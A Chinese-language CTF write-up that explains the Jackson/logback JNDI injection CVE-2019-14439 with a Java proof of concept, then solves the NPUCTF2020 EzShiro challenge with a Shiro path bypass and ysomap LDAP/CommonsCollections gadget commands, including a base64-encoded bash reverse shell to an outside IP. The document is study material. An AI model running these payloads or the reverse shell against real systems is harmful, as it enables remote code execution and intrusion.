CVE-2019-14439
是由logback 引起的 jndi 注入,找不到详细分析的文章,对着网上的poc简单看了一下。
在ch.qos.logback.core.db.JNDIConnectionSource这个类里
漏洞原理并不复杂,很清晰明了的jndi注入。
poc
package Jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class logback {
public static void main(String[] args) throws IOException, IOException {
String json = "[\"ch.qos.logback.core.db.JNDIConnectionSource\"," +
"{\"jndiLocation\":\"ldap://127.0.0.1:1089/Exploit\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Object o = mapper.readValue(json, Object.class);
mapper.writeValueAsString(o);
}
}
[NPUCTF2020]EzShiro
一开始没做出来,后来看wp知道附件有pom.xml buu似乎没给
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.5.1</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.5.1</version>
</dependency>
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-core</artifactId>
<version>1.2.1</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
看到有logback 先是shiro的权限绕过来到/json。访问/;/json
post一个true看到Jackson
jackson+logback 应该就是CVE-2019-14439了,源码应该是用jackson对post的json数据进行反序列化
但遇到个问题,我直接打没有打通,这里好像还需要绕限制。
看了看wp,参考的是这个。文章里有提到
https://paper.seebug.org/942/#ldapgadget
应该是题目jvm版本太高了。得加载题目自带的链子,看到pom里有commons-collections
wp里直接用ysomap工具了,还没在比赛里用过这个工具,顺带学一学。
https://github.com/wh1t3p1g/ysomap
use exploit LDAPLocalChainListener
set lport 6688
use payload CommonsCollections8
use bullet TransformerBullet
set version 3
set command 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzAuNDAuNS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
run
使用这工具必须的是jdk8,并且jdk8版本不能过低
能弹成功,期末考完去研究一下工具源码